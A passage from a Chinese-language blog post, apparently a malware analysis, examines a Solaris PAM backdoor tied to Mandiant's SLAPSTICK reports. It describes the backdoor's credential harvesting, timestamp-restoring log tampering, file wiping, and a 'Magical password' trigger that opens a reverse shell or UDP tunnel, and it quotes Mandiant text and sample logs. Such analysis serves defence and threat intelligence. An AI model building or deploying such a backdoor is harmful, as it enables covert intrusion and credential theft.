0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">对映射到内存中的文件进行逐字节搜索是否含有特定编码后的用户名+密码+远程主机信息</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.6355455568053994" data-s="300,640" data-type="png" data-w="889" style="height: auto !important;" type="block" data-imgfileid="100030048" src="https://wechat2rss.xlab.app/img-proxy/?k=ab464949&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALuxsTuSo9fAH6eFriaFpmHWf87yrZfJ6aoayfickx295GNLldNdib9XFFQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">向指定日志文件（</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">(char *)0x199</span></code><span leaf="">）写入经过自定义编码处理的时间戳和事件字符串，并在写入后通过 utime 恢复原始文件与目录的访问时间不变，从而避免日志被修改的痕迹。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030049" data-ratio="1.0514285714285714" data-s="300,640" data-type="png" data-w="1050" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4676e553&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQAL2kyFePUduictibXLwyyNxibVwia1YHUVjAoFGKrtQibr5AurtbQoCQ0oKlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">日志清理</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">屏蔽 SIGFPE(浮点异常)、SIGILL(非法指令)、SIGBUS(总线错误)、SIGSEGV (段错误)，避免清理过程中被系统中断。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030050" data-ratio="0.44155844155844154" data-s="300,640" data-type="png" data-w="385" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=44de4604&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALvicxL8zhhD3MpsRW0wmv2TBETbTaB6sicrvicQPC5zgZk5Z8iaFldcP7nQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">检查关键文件 A 是否存在 (</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">0x2f000156</span></code><span leaf="">)，检查关键文件 B 是否存在 (</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">0x2f0000cf</span></code><span leaf="">)，将文件 A 重命名为文件 B，并覆盖文件B，再同步目录时间戳</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100030051" data-ratio="0.717948717948718" data-s="300,640" data-type="png" data-w="897" style="height: auto !important;" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=aa70c1f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALXdUxktIwq9k412t1Bvrq7O1QF8InyN9y8FdsRMqKLapTAicZhKjShuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果第三个文件 C (</span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">DAT_2f0001dd</span></code><span leaf="">) 存在，则映射文件内容到内存中，然后内容全部覆写为0，释放映射，unlink 删除文件 C，恢复文件 C 所在目录的时间戳</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.2974683544303798" data-s="300,640" data-type="png" data-w="790" style="height: auto !important;" type="block" data-imgfileid="100030052" src="https://wechat2rss.xlab.app/img-proxy/?k=3951b4b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALBKW99wyYmOY5EiczD86xIuJCwNBcwezul5LpZjqw2CzmduCyEewqib8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">反弹shell</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果当前PAM会话来自网络，且密码结构为 &#34;Magical password&#34; + 后缀，则关闭所有文件描述符 (1-63)，stdout/stderr 重定向到 stdin，以execve方式实现反弹shell。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.7719033232628398" data-s="300,640" data-type="png" data-w="662" style="height: auto !important;" type="block" data-imgfileid="100030053" src="https://wechat2rss.xlab.app/img-proxy/?k=b9bc9e83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQALtazxZWwyficnE8w4GYO3sZh2ibe9rkiaamOSLor6AsEibgtoNbPsVKo83A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">建立UDP隧道</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">密码为 &#34;Magical password&#34; + &#34;\0\0\0\0&#34; + &lt;ip&gt; &lt;port&gt;,则建立UDP连接，发送 ELF 文件头魔数（&#34;\x7fELF&#34;），流量双向转发，实现反向 shell</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.0592592592592593" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100030054" src="https://wechat2rss.xlab.app/img-proxy/?k=fbfe4847&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQpbd1a6kN6ElKep3XFeQAL7O6pAXBJF052zsL2MZzE67z29iaNnc2ztTpwHT9sHcOwxVllJQTJ97A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">关联分析</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在Mandiant 2022年的文章</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Have Your Cake and Eat it Too? An Overview of UNC2891</span></strong><span leaf="">（<a href="https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/）中提到" target="_blank">https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/）中提到</a> </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SLAPSTICK 通过一个硬编码的“魔法密码”（magical password）为受感染系统提供持久化后门访问能力，同时还会将身份验证尝试及其对应的密码记录到一个加密的日志文件中，同时SLAPSTICK 的日志文件经常被篡改时间戳（timestomped）</span></strong><span leaf="">。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">SLAPSTICK provides persistent backdoor access to infected systems with a hard-coded magical password, it also logs authentication attempts and corresponding passwords </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> an encrypted </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">log</span></span><span leaf=""> file. Although this is expected to have tremendously assisted UNC2891 with credential harvesting and lateral movement activities, it also provided valuable information to Mandiant Incident Responders. Although SLAPSTICK </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">log</span></span><span leaf=""> files were often timestomped, Mandiant was able to decode them and trace some of the actor’s lateral movement activities through the usage of the backdoor provided magical password.</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另一篇2020年的文章</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945</span></strong><span leaf="">（<a href="https://cloud.google.com/blog/topics/threat-intelligence/live-off-the-land-an-overview-of-unc1945）中也提到" target="_blank">https://cloud.google.com/blog/topics/threat-intelligence/live-off-the-land-an-overview-of-unc1945）中也提到</a> </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SLAPSTICK 是一个 Solaris PAM 后门，通过一个硬编码的秘密密码授予用户对系统的访问权限。从提供的SLAPSTICK的日志中可以发现，认证尝试中包含了 &#34;Magical Password&#34;，</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">The threat actor used a Solaris Pluggable Authentication Module backdoor we refer to as SLAPSTICK to establish a foothold on a Solaris 9 server. This facilitated user access to the system with a secret hard-coded password and allowed the threat actors to escalate privileges and maintain persistence (see Figure 1).</span><span leaf=""><br/></span><span leaf="">Figure 1: SLAPSTICK logs</span><span leaf=""><br/></span><span leaf="">Log –font –unix | /usr/lib/ssh/sshd sshd kbdint - can Magical Password</span><span leaf=""><br/></span><span leaf="">auth.info | sshd[11800]: [ID 800047 auth.info] Accepted keyboard-interactive </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> root from port 39680 ssh2</span><span leaf=""><br/></span><span leaf="">auth.notice | su: [ID 366847 auth.notice] ‘su root’ - succeeded </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> 